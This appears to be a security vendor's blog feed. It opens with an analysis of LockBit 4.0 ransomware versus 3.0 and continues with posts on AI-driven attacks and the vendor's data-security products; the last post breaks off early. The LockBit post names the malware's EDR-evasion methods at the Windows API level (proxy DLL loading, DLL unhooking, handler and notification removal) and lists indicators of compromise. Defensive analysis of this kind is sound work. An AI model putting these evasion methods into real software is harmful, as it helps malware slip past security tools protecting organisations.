Deep Instinct Blog: Breaking News and Updates https://www.deepinstinct.com Deep Instinct prevents more advanced threats than any EPP or EDR in the world. Tue, 06 May 2025 14:38:20 +0000 en-US hourly 1 https://www.deepinstinct.com/favicon/favicon-32x32.png Deep Instinct Blog: Breaking News and Updates https://www.deepinstinct.com 32 32 <![CDATA[RaaS Evolved: LockBit 3.0 vs LockBit 4.0]]> https://www.deepinstinct.com/blog/raas-evolved-lockbit-3-0-vs-lockbit-4-0 Tue, 25 Mar 2025 14:00:00 +0000 https://www.deepinstinct.com/blog/raas-evolved-lockbit-3-0-vs-lockbit-4-0 LockBit is a sophisticated and notorious ransomware strain that has been targeting organizations across various industries since 2019. It operates by encrypting critical files and demanding hefty ransoms in exchange for decryption keys. The LockBit group operates on a Ransomware-as-a-Service (RaaS) model, providing its infamous LockBit malware to affiliates who carry out the attacks and return a percentage of ransom payments to the LockBit group.

The group is also known for its aggressive tactics, including double extortion, where they not only encrypt data but also threaten to release sensitive information if the ransom is not paid. With its rapid evolution and continuous development, LockBit remains one of the most dangerous and effective ransomware families in the cybercrime landscape.

The following blog details some of the key differences between LockBit 3.0, which has dominated the ransomware landscape over the last few years, and LockBit 4.0, the newest version of the ransomware. In addition to changes in operability, LockBit has eased deployment and added some evasion capabilities, while introducing a quiet mode that allows attackers to operate stealthily.

1_TimeLinepng.png
Figure 1: The evolution of LockBit ransomware

In September 2019 the ‘.abcd’ malware was first discovered. Just a few months later, the LockBit group took responsibility for the malware, eponymously dubbing it LockBit. In the years since, the LockBit group and its LockBit malware have continued to evolve, attracting new partners, gaining notoriety amongst hackers, and distributing new, more powerful versions of the malware.

In 2022, LockBit was responsible for more ransomware attacks than any other organization in the world. And by 2023, they were responsible for an estimated 44% of global ransomware attacks, coinciding with their LockBit 3.0 version.

On December 19, 2024, the LockBit group posted an announcement titled “Lockbit4.com” on their leak blog, revealing the upcoming release of a fourth version of the LockBit ransomware and marking the end of the LockBit 3.0 era. A timer counting down to February 3, 2025 was posted alongside an announcement promising rewards to the criminals who wanted to sign up and take part in the next era of ransomware proliferation.

IMG2_3.png
Figures 2 and 3: The pre-release and release notifications for LockBit 4.0

4_LockBit4_19_12_web.png
Figure 4: The LockBit 4.0 release date notification

The Release of Lockbit 4.0

Following the countdown, the LockBit group officially released LockBit 4.0 on February 3, 2025. The updated LockBit website featured five new Onion Domains with a new access key: ADTISZRLVUMXDJ34RCBZFNO6BNKLEYKYS5FZPNNXK4S2RSHOENUA. These domains were labeled “LockBit 4” and opening them took users to a login portal, with options to create a new account linked to either a BitCoin or Monero wallet.

After opening the link, users are presented with the following login portal:

5_Login_portal.png
Figure 5: LockBit system login/registration portal

After hackers execute an attack using the LockBit ransomware, LockBit 4.0 also provides a platform to securely negotiate with their victims. The platform features new Onion Domains which are attached to ransom notes and open chat support between the hackers and their targets. After opening the link, victims are asked to enter the ‘Decryption ID’ they received in their ransom note to verify their details.

6_login_chat_support.png
Figure 6: Login screen for chat support

Following detail and identity verification, victims are granted access to the chat.

In the chat, victims are sent three new URLs specifically for the File Upload Service for sample file decryption, supporting files larger than 10MB. This allows victims to confirm that the decryption works. Much of this attack and negotiation flow is similar to past versions of the LockBit ransomware. However, there are some key changes in how LockBit 4.0 operates compared to its most recent predecessor. 

7_Support_chat.png
Figure 7: Address to decrypt a sample set of files

The Packer

LockBit 3.0 featured a significant anti-analysis mechanism. The file was protected by a packer, and each version of LockBit 3.0 required a unique password to unpack it, making both static and dynamic analysis much more difficult. This feature was expected to continue.

Surprisingly, LockBit 4.0 takes a different approach, using a much simpler packer: a customized version of the UPX packer. And this time the packer isn’t password-protected. The advantage is that unpacking can now be done easily and manually, unlike in previous versions.

8_sample_in_VT.png
Figure 8: VirusTotal indicates a UPX packer was detected

We can easily locate the jump tail, jump to it, and retrieve the original code— essentially, we can locate the part of the program that directs us to the original code, skip over the packed sections, and restore it to its original form.

Image9_10.png
Figures 9 and 10: The code packed and unpacked

The Ransom Note

After files are encrypted, a ransom note appears in every folder, just like in the previous version. However, there are some subtle changes to the ransom note itself.

11_ransomnote.png
Figure 11: The ransom note

Unlike LockBit 3.0, LockBit 4.0 doesn't change the icon of the encrypted files to a custom LockBit icon. LockBit 4.0 also leaves the screensaver as is, leaves file names intact, and appends a random 12-character hash to the file extension, while LockBit 3.0 renames files and changes their extension to “.HLJkNskOq.”

New Parameters and Help Screen

LockBit 4.0 introduces slightly different parameters compared to LockBit 3.0. Notably, it adds the --help and -q parameters. The --help parameter allows users to view the available parameters and their functions:

12_arguments.png
Figure 12: The help screen describing the new parameters

The -q parameter specifies a quiet mode. This mode allows hackers to carry out attacks while keeping file extensions and modification dates intact after encryption. Additionally, no ransom note is dropped on the affected systems, making it more difficult to detect and investigate the attack.

Figure 13: The effect on files without using the -q parameter

14_with_q_parameter.png
Figure 14: The effect on files when using the -q parameter

The Encryption Method

LockBit 3.0 employed a partial encryption technique, encrypting portions of a file rather than the entire thing. This method sped up the encryption process and made it more efficient, minimized the chances of detection, and made the file unusable without the decryption key.

In some versions of LockBit 3.0, between 10-30% of the file is encrypted, focusing on critical sections like headers or initial data blocks. Other versions, however, only encrypt the first 4 KB of the file.

Similarly, LockBit 4.0 also employs partial encryption. In each cycle, it allocates memory for 9% of the file’s size. The data is read from the original file, encrypted, and written back to the file. Before the encryption process begins, the file size is checked; if it’s smaller than 1 KB, the entire file is encrypted instead.

Encrypted_method_new.png
Figure 15: The encryption function
Encryption Time

LockBit 3.0 encrypts files faster than LockBit 4.0. While LockBit 4.0 takes around 25 seconds to encrypt 1,000 files, LockBit 3.0 completes the same task in about five (5) seconds. These times can vary depending on factors like system performance, hardware, and load during each run.

16_LockBit4_time.png
Figure 16: The time it took LockBit 4.0 to encrypt 1000 files

17_LockBit3_time.png
Figure 17: The time it took LockBit 3.0 to encrypt 1000 files

Dynamic API Resolution

LockBit 3.0 imports most of its API functions during execution through a shellcode hashing mechanism. This process involves hashing the API names of a DLL, comparing them to a list of required APIs, and then retrieving the genuine API address using a circular shift and XOR operation.

In LockBit 4.0, the same dynamic method is used to discover functions, with slight modifications. The overall result is the same—the malware still obtains its functions dynamically. However, the key difference lies in how the DLLs are loaded. LockBit 4.0 employs proxy DLL loading, which bypasses the Event Tracing for Windows Telemetry Infrastructure (ETWTI) used by many security products. ETWTI relies on analyzing the stack trace, but with proxy DLL loading, the DLL is loaded through the RtlQueueWorkItem function. This causes the loading to occur in a separate thread, managed by a worker thread pool, resulting in a clean stack trace that avoids triggering ETWTI detection.

18_proxy_dll_API_resolution.png
Figure 18: Implementation of the proxy DLL loading method

DLLs Unhooking

DLL Unhooking is a variation of the DLL Hollowing technique designed to remap a DLL into memory. This process helps bypass security product hooks, making it harder for the malware to be detected within the system.

Lockbit 4.0 implements this technique by scanning through all the DLLs in the KnownDlls directory and creating a handle for each one using NtOpenSection. It then maps the DLL into memory with NtMapViewOfSection.

In the image below, you'll notice the ObjectName field is part of the OBJECT_ATTRIBUTES structure. This structure is passed to the NtOpenSection function, specifying the object that the function will operate on.

19_knowndll.png
Figure 19: The name of the DLL passed to the NtOpenSection function

Once the DLL is mapped into memory, the malware utilizes WriteProcessMemory to copy the contents of the new DLL into the memory space of the original DLL that was loaded by the operating system.

20_WriteProcessMemory_ida.png
Figure 20: The process of copying the new DLL

Vectored Exception Handler

Malware may remove its own Vectored Exception Handlers (VEHs) for several strategic reasons. One of the key motivations is to avoid detection by security tools that specifically monitor VEH registrations. By removing these handlers, the malware can bypass detection systems that scan for them as part of their monitoring processes. Additionally, removing VEHs helps prevent debugging or analysis during or after execution, making it harder for security researchers to reverse-engineer or analyze the malware's behavior. This tactic also aids in evading automated removal attempts by anti-malware software, which may be designed to identify and counter VEH manipulations.

The return_VEH function returns LdrpVectorHandlerList, which contains the list of vectored exception handlers. The malware then iterates through this list, removing each VEH using the RtlRemoveVectoredExceptionHandler function.

21_find_VEH.png
Figure 21: Removing vectored exception handler

Disabling DLL Loading Notifications

Another evasive technique implemented by Lockbit 4.0 is Disabling DLL Load Notification. This technique prevents endpoint detection products from receiving alerts about newly loaded DLLs within the current process context. This is achieved by blocking callbacks that are typically registered with LdrRegisterDllNotification. To properly unregister a DLL load notification callback, the LdrUnregisterDllNotification function is used.

22_LdrUnregisterDllNotification.png
Figure 22: Disabling DLL load notifications using LdrUnregisterDllNotification

Self-Deletion

Both LockBit 4.0 and LockBit 3.0 delete themselves from the disk, a behavior observable through ProcMon. However, the methods differ: LockBit 3.0 deletes itself by downloading a .tmp file and removes the contents of the Recycle Bin during the process. In contrast, while LockBit 4.0 also deletes itself, it doesn’t touch the Recycle Bin contents, nor encrypt them.

23_Lockbit4_self_deletion.png
Figure 23: LockBit 4.0 self-deletion

24_Lockbit3_self_deletion.png
Figure 24: LockBit 3.0 self-deletion

Conclusion

LockBit 4.0 introduces many new features focused on evading security products, but it also takes a few steps back from LockBit 3.0, including switching to a simpler packer, not removing Microsoft Defender, and encrypting more slowly. Despite these changes, much remains the same: partial encryption is still in play, and certain services continue to be disabled. The technique for evading Event Tracing for Windows (ETW) hasn’t changed either. Although LockBit 4.0 has enhanced its evasion techniques, its overall approach and behavior closely resemble those of the previous version. While it didn't innovate on certain tactics, organizations should remain vigilant as the threat remains just as dangerous

IOC's

Hashes:

3552dda80bd6875c1ed1273ca7562c9ace3de2f757266dae70f60bf204089a4a
33376f74c2f071ff30bab1c2d19d9361d16ebaa3dee73d3b595f6d789c15f620
21e51ee7ba87cd60f692628292e221c17286df1c39e36410e7a0ae77df0f6b4b

Onion domains:

lockbit3753ekiocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2id.onion
lockbit3g3ohd3katajf6zaehxz4h4cnhmz5t735zpltywhwpc6oy3id.onion
lockbit3olp7oetlc4tl5zydnoluphh7fvdt5oa6arcp2757r7xkutid.onion
lockbit435xk3ki62yun7z5nhwz6jyjdp2c64j5vge536if2eny3gtid.onion
lockbit4lahhluquhoka3t4spqym2m3dhe66d6lr337glmnlgg2nndad.onion
lockbit6knrauo3qafoksvl742vieqbujxw7rd6ofzdtapjb4rrawqad.onion
lockbit7ouvrsdgtojeoj5hvu6bljqtghitekwpdy3b6y62ixtsu5jqd.onion


lockbitsprnigidq6imswpysqjg3sewkeagtfbamlybwm7fnonglhlyd.onion
lockbitspqldd3mm223vmzcvwntd7honhhan3ke72vpnrxexlrsu5ryd.onion
lockbitsppsg2kfcafzzdettjbgc4tx2cl6tfm4v4py6xtndbhnnhsid.onion
lockbitsppra2sj6gkfrgtavqds7rcnvhaxdio7jvu2xrozdr2ld3ead.onion
lockbitspomtxfihje6wepecgif7vuqci6zyl7qgenne5b6lxngf4yqd.onion

 

lockbitapyx2kr5b7ma7qn6ziwqgbrij2czhcbojuxmgnwpkgv2yx2yd.onion
lockbitapyum2wks2lbcnrovcgxj7ne3ua7hhcmshh3s3ajtpookohqd.onion
lockbitapp24bvbi43n3qmtfcasf2veaeagjxatgbwtxnsh5w32mljad.onion
lockbitapo3wkqddx2ka7t45hejurybzzjpos4cpeliudgv35kkizrid.onion
lockbitapiahy43zttdhslabjvx4q6k24xx7r33qtcvwqehmnnqxy3yd.onion

References

 

]]>
<![CDATA[The Rise of AI-Driven Cyber Attacks: How LLMs Are Reshaping the Threat Landscape]]> https://www.deepinstinct.com/blog/the-rise-of-ai-driven-cyber-attacks-how-llms-are-reshaping-the-threat-landscape Wed, 12 Mar 2025 13:00:00 +0000 https://www.deepinstinct.com/blog/the-rise-of-ai-driven-cyber-attacks-how-llms-are-reshaping-the-threat-landscape The cyberattack lifecycle has been supercharged by generative AI. It is faster, more effective, and more dangerous than ever before. Large Language Models (LLMs) are being leveraged for malicious purposes, aiding in recon, crafting highly convincing phishing campaigns, generating proof-of-concept (PoC) exploits, and even assisting in malware development. As these capabilities continue to grow in sophistication, AI will reshape the threat landscape, posing significant challenges for cybersecurity professionals.

The following blog explores several ways AI is already being used to shape cybercrime and cybersecurity. It delves into the methods empowered by LLM capabilities with key use cases. The future of AI-based and powered attacks isn’t a far-flung possibility, it’s here now—and it’s incredibly dangerous.

AI-Driven Reconnaissance

Building an understanding of an organization and identifying key targets within it has been significantly accelerated through the use of AI. Advanced Persistent Threat (APT) groups from China, Iran, North Korea, and Russia have reportedly used AI to automate this process, allowing them to achieve the following:

  • Identify and prioritize high-value targets via analysis of organizational hierarchies, business disclosures, and employee social media 
  • Conduct large-scale scanning of networks and systems for potential traffic changes and vulnerabilities
  • Optimize attack strategies based on collected intelligence, such as C-Suite travel and communication patterns, allowing for targeted attacks at opportune times, sometimes aided by advanced phishing and vishing techniques

Google’s Threat Intelligence Group reported that APT42, an Iran-backed group, were the heaviest users of Gemini, using it to perform recon on defense experts and organizations and craft advanced phishing campaigns. They combined their usage with other open-source tools and tactics to breach key targets in both the public and private sectors, demonstrating the effectiveness of early-stage LLM usage.

AI-Powered Phishing and Social Engineering Attacks

In conjunction with advanced recon techniques, attackers are using AI to enhance phishing and social engineering tactics. In recent months, APTs—particularly those from North Korea, China, and Iran—have been observed deploying AI-generated phishing campaigns with increased sophistication. Notable AI-enhanced social engineering tactics include the following:

  • Automated Spear-Phishing: Using data gathered by AI during the recon phase, attackers leveraged AI to generate massive amounts of highly personalized phishing emails that are both contextually relevant and persuasive, increasing the likelihood of successful intrusions. This method has been used extensively by Iran against both American and Israeli targets.
  • Deepfake Scams: Attackers employ AI-generated deepfake audio and video to impersonate trusted individuals. These deepfakes deceive targets into taking malicious actions, such as transferring funds or divulging sensitive information. In the Arup Group attack, for example,  AI-generated voice and images were used to fraudulently extract $25 million dollars from the multinational design and engineering company.

With AI continuously improving the realism of phishing lures and impersonations (and utilizing more powerful research methods), legacy cybersecurity detection tools are struggling to keep up. The fidelity of the fakes and the information used to produce them has even fooled trained professionals.

AI Vulnerability Discovery and Exploitation

Beyond reconnaissance and phishing, AI tools are also being deployed to discover technical vulnerabilities and quickly exploit them. Attackers are using AI to achieve the following:

  • Identify and exploit security weaknesses in software and networks, including reverse-engineering patches
  • Discover potential zero-day exploits, proven conceptually by Google’s ‘Big Sleep’ agent
  • Generate code that can exploit weaknesses and vulnerabilities faster than defenders can respond

Google’s proof that AI agents could discover potential zero-day vulnerabilities is a chilling sign of what’s to come. The acceleration of zero-day attacks powered by AI discovery and exploitation tools will likely put defenders on the back foot, especially if they are not given tech solutions that can preemptively prevent attacks or respond at speed to breaches.

AI-Assisted Malware Development

Although AI-generated malware is not highly advanced yet, attackers have found ways to jailbreak mainstream LLMs (such as OpenAI’s models or Gemini) to aid in malware development. Simultaneously, a stable of malicious LLMs specifically tailored for criminal activities, including WormGPT, WolfGPT, EscapeGPT, FraudGPT, and GhostGPT, are also being developed, removing the safeguards put in place in the mainstream models. Threat actors currently use AI chatbots to:

  • Generate and troubleshoot malicious code; GhostGPT is particularly adept and costs only $50. It is marketed to hackers and lacks any of the ethical blocks that mainstream models have, enabling quick vulnerability discovery and exploitation.
  • Localizing malware to bypass regional security measures. A Russian APT group used Gemini to morph existing malicious code to skirt known security measures, rather than developing entirely new malware.

The speed with which AI has advanced means that AI-generated malware will become extremely complex very quickly. With the increasing availability of advanced “open” AI chatbots like DeepSeek, attackers are able to refine their malware toolsets, making them more adaptive and evasive.

The Next Phase: AI-Generated Polymorphic Malware

One of the most alarming possibilities is the potential for AI to generate polymorphic malware. This type of malware continuously mutates its code, making traditional signature-based detection methods ineffective. As AI enhances malware’s ability to autonomously modify its structure and evade security defenses, security teams must adopt more advanced behavioral analysis techniques to counter this growing threat.

The Looming Future: AI-Powered Autonomous Malware

Soon, attackers will move beyond ‘simple’ AI-generated malware and begin developing AI-powered autonomous malware, enabling smarter, far more devastating attacks. Unlike traditional malware, AI-powered malware will be smarter, performing functions autonomously to bypass security. If it reaches the level that experts fear, it will be able to:

  • Adapt its behavior in real time to evade detection and bypass legacy protection mechanisms across the data estate
  • Alter its attack techniques based on an environment’s defenses, making incident response significantly more challenging
  • Leverage reinforcement learning to optimize attack strategies, continuously improving effectiveness against evolving security measures

This step beyond polymorphic malware could lead to an unprecedented surge in sophisticated cyberattacks, specifically designed to overwhelm existing defense systems and react to attempts to stop it.

The Impact on Attribution and Threat Intelligence

As AI-generated attacks grow in complexity, attribution will become increasingly difficult. AI can mimic the attack patterns, tools, and techniques of other threat actors, effectively masking the true origin of an attack. This obfuscation has already been used by Russian and Iranian APT groups to achieve the following:

  • Hinder intelligence-sharing efforts, especially amongst groups relying on multi-member input, such as Five Eyes
  • Reduce the effectiveness of traditional attribution methodologies

Each of these complicates the already stressful role of security teams and researchers, ratcheting up the pressure on defenders while slowing down national response to legitimate threats.

The nature of stolen data reveals insightful details about the plans of an adversary; the industries they’re targeting, patterns of attack, and what they are focused on disrupting. However, if the adversary can’t be reliably identified, defenders are left trying to strategize for multiple scenarios, complicating response and planning efforts.

Preparing for the AI-Driven Threat Landscape

To stay ahead of these emerging threats, organizations must adopt what Gartner has recently dubbed preemptive cybersecurity solutions–technologies designed to prevent cyberattacks before they achieve their objectives. Key steps to reaching a preemptive cybersecurity posture include:

  • Investing in AI-driven cybersecurity solutions that can detect and mitigate AI-generated threats. Attackers are using AI that is too advanced to be stopped by legacy tools or human response alone. Keeping organizations operational and breach free requires defensive solutions that can outpace offensive AI.
  • Implementing a deep learning-based security approach: Deep learning provides the most advanced defense against AI-driven threats by enabling real-time anomaly detection and automated threat analysis using the most advanced version of AI. Unlike traditional security models, deep learning solutions can:
    • Identify and classify sophisticated attack patterns
    • Adapt to emerging cyber threats without reliance on static rules
    • Analyze large-scale datasets to detect zero-day exploits and AI-powered malware

Purpose-built zero-day data security measures are the necessary foundation of preemptive cybersecurity, empowering defenders to prevent attacks with solutions built from the ground up to combat the growing threat of AI attacks. By focusing on proactive defense mechanisms that neutralize threats before they can exploit vulnerabilities, security teams gain the upper hand and push back against ever-more aggressive attackers.

A Final Prediction:

By 2026, AI-powered malware and automated vulnerability discovery will become standard tools in cybercriminal arsenals. AI will enable attackers to conduct real-time, autonomous exploit development and deployment, significantly reducing the time between vulnerability discovery and exploitation. They will be able to perform these attacks at scale and speed using virtual ‘ai-factories’ equipped with agentic AI and other technologies, increasing the need for a zero-day response that can keep up.

As AI-driven threats evolve, organizations that rely on traditional security methods will find themselves unable to cope with the speed and scale of modern cyberattacks. The adoption of AI-driven threat detection, deep learning-based behavioral analysis, and zero-day data security solutions is critical to mitigating these emerging threats. Organizations that fail to invest in these technologies will face an increasingly hostile and overwhelming cyber landscape.

Conclusion

The future of cybersecurity will be defined by the ongoing battle between AI-powered attacks and AI-driven defenses, making it imperative for organizations to continually refine their strategies to stay ahead of the curve.

Traditional security measures are no longer sufficient in an AI-driven threat environment. Organizations must adopt a preemptive cybersecurity approach and leverage real-time deep learning-driven techniques to prevent and explain threats before they can cause harm. Security professionals need solutions that ensure even novel, previously unknown attack vectors can be identified and mitigated before exploitation occurs. This proactive defense strategy is essential to countering AI-generated threats and maintaining cybersecurity resilience.

Experience preemptive cybersecurity in your own environment. Request your free scan now.

]]>
<![CDATA[DSPM: A Good Start; Not the Answer]]> https://www.deepinstinct.com/blog/-DSPM-good-start-not-the-answer Wed, 12 Feb 2025 14:00:00 +0000 https://www.deepinstinct.com/blog/-DSPM-good-start-not-the-answer In the past decade, the volume, variety, and velocity of data in enterprise estates has increased exponentially. Along with it, there has been an explosion in the accessibility of that data. In response, Data Security Posture Management (DSPM) emerged, offering visibility and governance for data security and compliance. Championed by analysts like Gartner, DSPM sought to address gaps in traditional security frameworks, helping enterprises identify and manage vulnerabilities.

While DSPM tools have proven valuable in addressing foundational security challenges, they are no longer sufficient in today’s complex threat landscape. Attackers are leveraging advanced techniques, including weaponized DarkAI (AI tools adopted for malicious purposes, like automated vulnerability discovery), to ratchet up the efficacy and volume of their attacks. To secure their data, enterprises need more than visibility and monitoring—they require a defense-in-depth strategy built around proactive prevention and remediation capabilities.

The Past and Present of DSPM

Gartner introduced DSPM in 2022 as a critical component of modern security strategies, emphasizing the need for comprehensive visibility into data flows, security posture, and compliance. The promise was clear: it would empower organizations to discover, classify, and secure sensitive data across hybrid and multi-cloud environments, ensuring compliance with regulations like GDPR, HIPAA, and CCPA.

However, the DSPM market’s promise was disrupted by constant acquisitions of several promising startups in the space by larger platform-based cybersecurity providers:

  • Dig Security was acquired by Palo Alto Networks, integrating its data visibility features into Palo Alto’s Cloud-Native Application Protection Platform (CNAPP) offering.
  • Flow Security joined CrowdStrike’s broader data security portfolio.
  • Laminar joined Rubrik, a storage recovery & backup provider.

These acquisitions reflect a consolidation trend that narrows DSPM’s scope. Instead of evolving into comprehensive solutions, many became feature sets within larger platforms, losing their standalone value. As with many startup acquisitions, the initial aim and trajectory of the technology were curtailed to fit the broader needs of the acquiring organization.

Instead of maturing in the hands of the most competent and passionate players, it was redirected. Alongside the development of AI technologies, AI-integrated DSPM could have served an important gatekeeper role in comprehensive cybersecurity strategies. As it stands, DSPMs are falling into the same failing paradigm as other legacy tools.

Why DSPM is No Longer Sufficient

Despite its benefits, DSPM has inherent limitations that make it inadequate as a standalone solution:

1. Reactive, not proactive: Most DSPMs operate as monitoring solutions, offering insights and alerts but not preventing threats. They may detect anomalies or non-compliance but leave remediation to slow and error-prone manual processes.

2. Focused on exfiltration: DSPMs largely focus on preventing sensitive data from leaving the organization. However, attackers and malicious insiders have limitless ways to manipulate or exfiltrate data, from encrypted channels to API abuse. Once they have access, accounting for attackers’ varied tactics and capabilities is nearly impossible. Human creativity and intelligence, combined with powerful AI tools, have created a hydra. For every vulnerability closed, two more open. Preventing threats is the key to preventing exfiltration.

3. Remediation gaps: While DSPMs identify risks, they often fail to offer smart (context-aware) and automated remediations. Even fewer take responsibility for executing these remediations, leaving enterprises vulnerable to delayed responses. This responsibility falls to overburdened security teams who now have to figure out how to close those gaps.

Zero-Day Data Security: A New Standard

The emergence of DarkAI has made the threat landscape more unpredictable. Attackers can now generate sophisticated, never-before-seen malware that exploit vulnerabilities in ways traditional DSPMs cannot anticipate. As a result, organizations relying solely on DSPM are exposed to unknown risks with inadequate security tools.

Enter Zero-Day Data Security (ZDDS), a new paradigm. Unlike DSPM, which focuses on visibility and preventing data exfiltration, ZDDS prioritizes proactive prevention and remediation. It secures data wherever it’s found against known and unknown threats. Deep Instinct leads the way in ZDDS with Data Security X (DSX).

DSX prevents threats before they compromise data using the world’s only deep learning (DL) framework (a specialized AI architecture that learns patterns from massive datasets) trained for cybersecurity. The DSX Brain is trained on billions of data points to recognize and prevent threats before they execute. Rather than just alerting on known threats and vulnerabilities, as DSPM does, DSX prevents the most sophisticated and dangerous unknown threats. Here’s how:

  • Proactive prevention: Effective ZDDS leverages DL and AI-driven threat detection to block attacks before they occur, safeguarding sensitive data.
  • End-to-end coverage: ZDDS is flexible and adaptive enough to provide seamless protection across diverse data estates, whether it’s on-premises, hybrid, or in the public cloud.
  • Automated remediation: ZDDS doesn’t just identify risks, it neutralizes them. Solutions like DSX for Cloud and DSX for NAS have prevention embedded into the workflow, ensuring proactive response without manual intervention.

ZDDS is the next frontier in data security, and DSX is the trailblazer, providing organizations with the means to defend against today’s most advanced threats. By adopting a ZDDS solution, enterprises can go beyond compliance and visibility to achieve true resilience against data breaches and attacks.

Conclusion

DSPM was a crucial step forward in data security, but it is no longer sufficient in the face of today’s sophisticated threats. Its consolidation into broader platforms underscores its limitations and the need for a more proactive and comprehensive approach.

ZDDS is not just a buzzword—it’s a necessity, the next crucial step forward. As the threat landscape evolves, enterprises must adopt solutions like Data Security X (DSX) to stay ahead of attackers and ensure data integrity. In this new era, prevention is not optional; it is the cornerstone of security.

To experience zero-day data security powered by DSX in your environment, request your free scan.

]]>
<![CDATA[“Detect and Respond” is Not the Answer: The Need for Proactive Zero-Day Data Security]]> https://www.deepinstinct.com/blog/-detect-and-respond-is-not-the-answer-the-need-for-proactive-zero-day-data-security Wed, 05 Feb 2025 14:00:00 +0000 https://www.deepinstinct.com/blog/-detect-and-respond-is-not-the-answer-the-need-for-proactive-zero-day-data-security Cybersecurity defenses are more advanced than ever, yet maintaining their overall effectiveness remains a persistent challenge. Cybercriminals are always on the offensive, continually refining their tactics to outmaneuver every new security innovation brought to market, especially in the era of AI.

Fortunately, the ball is in our court. We have the means to adapt, but little time to respond. If we lack urgency or respond with the wrong strategies and solutions, we will see billions in new ransomware costs, more insidious nation-state attacks, further encroachment on our personal data, and the potential expansion of physical-space attacks. We need to get it right.

The Acceleration of Zero-Day Attacks

Today’s fight is against zero-day attacks and unknown malware, which have proliferated with the widespread use of generative AI tools in the hands of cybercriminals. Bad actors can now generate and modify new attacks with tools easily found on the dark web, allowing them to launch attacks with alarming speed and regularity. It’s adding overwhelming pressure to defenders who must be continually vigilant against new tactics and behaviors.

Since 2018, the number of zero-day attacks has been on the rise. Recent research from IBM, Cisco, and Google document the alarming increase: more zero-day attacks were reported in 2021 than in the prior three years combined; in 2023, 97 zero-day attacks were reported, beating the high of 2021. In May 2024, Rapid7 published the following in their Threat Intelligence Report:

A consistently high level of zero-day exploitation over the last three years. Since 2020, our vulnerability research team has tracked both scale and speed of exploitation. For two of the last three years, more mass compromise events have arisen from zero-day exploits than from n-day exploits. 53% of widely exploited CVEs in 2023 and early 2024 started as zero-day attacks.”

What makes these attacks particularly concerning is that they target undefended, unknown vulnerabilities. Their effects are wide-reaching and catastrophic, leaving organizations to defend against breaches that have already happened, rather than proactively preventing them from happening in the first place.

In 2024, the average cost of ransomware rose across industries, reaching $5.2 million by mid-year. The price of remediation grew alongside the price of ransom. In addition to the dollar cost of these attacks, organizations face reputation damage, and SOC teams face yet another escalation in pressure, contributing to growing levels of burnout.

Traditional “detect and respond” cybersecurity tools and strategies are no longer effective. A solution that can not only detect never-before-seen malware, but prevent it, is not only necessary—it’s the only path forward. AI-powered zero-day data security (ZDDS) is the answer.

The Abrupt Decline of Legacy Solutions

The accelerating scale and sophistication of modern cyberattacks, particularly zero-day exploits, have rendered reactive methods ineffective. Attacks happen so quickly today that by the time a breach is detected, attackers have already encrypted or exfiltrated sensitive data. This speed makes reactive approaches not only futile but also costly in terms of recovery and damage control.

Even with tools boasting high detection rates, a small miss rate—say, 5%—can result in catastrophic breaches when facing thousands of daily threats. And most tools aren’t anywhere near that efficient.

The reality is that organizations can no longer afford to rely on outdated detection methods or wait for an attack to happen before acting. Unfortunately, much of the cybersecurity market isn’t positioned to deal with these threats.

Zero-day threats are particularly difficult to defend against using legacy security measures. Malware slips past defenses, unrecognized and undetected, landing in storage or on user machines. Popular signature-based tools are now a liability because:

  • The updates necessary to try and keep pace are unsustainable
  • They typically only catch known threats
  • The underlying technology is outdated
  • Management costs have ballooned
  • The LLM weapons used by criminals, so-called DarkAI, are more advanced than the ML used by legacy tools

The only way to combat this surge of attacks without completely closing an environment off from the outside world is by using a solution specifically designed to combat zero-day attacks.

The Path Forward: Zero-Day Data Security

Preventative ZDDS, powered by deep learning (DL)—the most advanced form of AI—is the future of cybersecurity. Deep Instinct is at the forefront of this effort. We use our purpose-built DL cybersecurity framework to prevent and explain unknown threats in real time. We fight AI with better AI and help organizations dramatically reduce their exposure to malware, ransomware, and zero-day attacks.

The ability to stop an attack in its tracks—before it’s even identified by a “signature”—is the key to staying ahead in a rapidly evolving threat landscape. Moving from a reactive approach to a proactive strategy is necessary as cyberattacks increase in volume and sophistication.

Organizations must invest in technologies focused on fighting the future of cybercrime. This means being bolder in taking on new contracts, integrating new solutions more swiftly, and putting less effort towards trying to make existing tools do something they were not designed to do.

Waiting for an attack to happen—and then reacting—is simply too risky. The costs, both financially and reputationally, are too high. The price of an effective cybersecurity solution is a fraction of the cost of a breach.

Conclusion

With AI-driven threats, zero-day vulnerabilities, and the overwhelming scale of cyberattacks, you can’t afford to innovate slowly. Your enemies aren’t. They’re harnessing every possible AI tool to achieve their goals and finding it easier than ever to break through underperforming and overwhelmed defenses. Beleaguered security teams can no longer hope that their detection systems will catch everything, because they won’t.

Deep Instinct is the leading ZDDS vendor on the market. Deep Instinct Data Security X (DSX), is the first and only purpose-built ZDDS product built from the ground up on the world’s only DL cybersecurity framework to prevent and explain unknown threats no one else can find. It provides unparalleled protection against zero-day threats across your entire data ecosystem with unmatched prevention capabilities, real-time malicious verdicts, and detailed explainability, solving the growing problems of cybersecurity.

To learn more about how to proactively protect your organization and its data, no matter where it resides, read about our approach to ZDDS here. Then request your free scan.

]]>
<![CDATA[DIANNA: Deep Instinct's Artificial Neural Network Assistant - Powered By Amazon Bedrock]]> https://www.deepinstinct.com/blog/dianna-deep-instinct-artificial-neural-network-assistant-powered-by-amazon-bedrock Thu, 30 Jan 2025 13:00:00 +0000 https://www.deepinstinct.com/blog/dianna-deep-instinct-artificial-neural-network-assistant-powered-by-amazon-bedrock This post is co-written with Tzahi Mizrahi and Tal Panchek from AWS. A similar version was originally published on the AWS Machine Learning Blog.

Deep Instinct is a cybersecurity company that offers a state-of-the-art, zero-day data security (ZDDS) solution, “Data Security X” (DSX™). DSX safeguards data repositories across cloud, NAS, applications, and endpoints, delivering the industry's highest efficacy (>99%), lowest false positive rate (<0.1%), and explainability into never-before-seen threats.

Utilizing deep neural networks (DNNs), Deep Instinct prevents ransomware and known and unknown threats with unmatched accuracy and speed. This advanced form of AI significantly raises the cybersecurity bar and is ideally suited for large enterprises and critical infrastructure sectors such as finance, healthcare, and technology with a mandate to protect their data, in motion or at rest.

In this blog post, we explore how Deep Instinct’s GenAI-powered malware analysis tool, DIANNA, the DSX Companion, leverages Amazon Bedrock to revolutionize cybersecurity explainability by providing rapid, in-depth analysis of known and unknown threats in minutes, enhancing the capabilities of SOC teams and addressing key challenges in the evolving threat landscape.

The SecOps Challenge

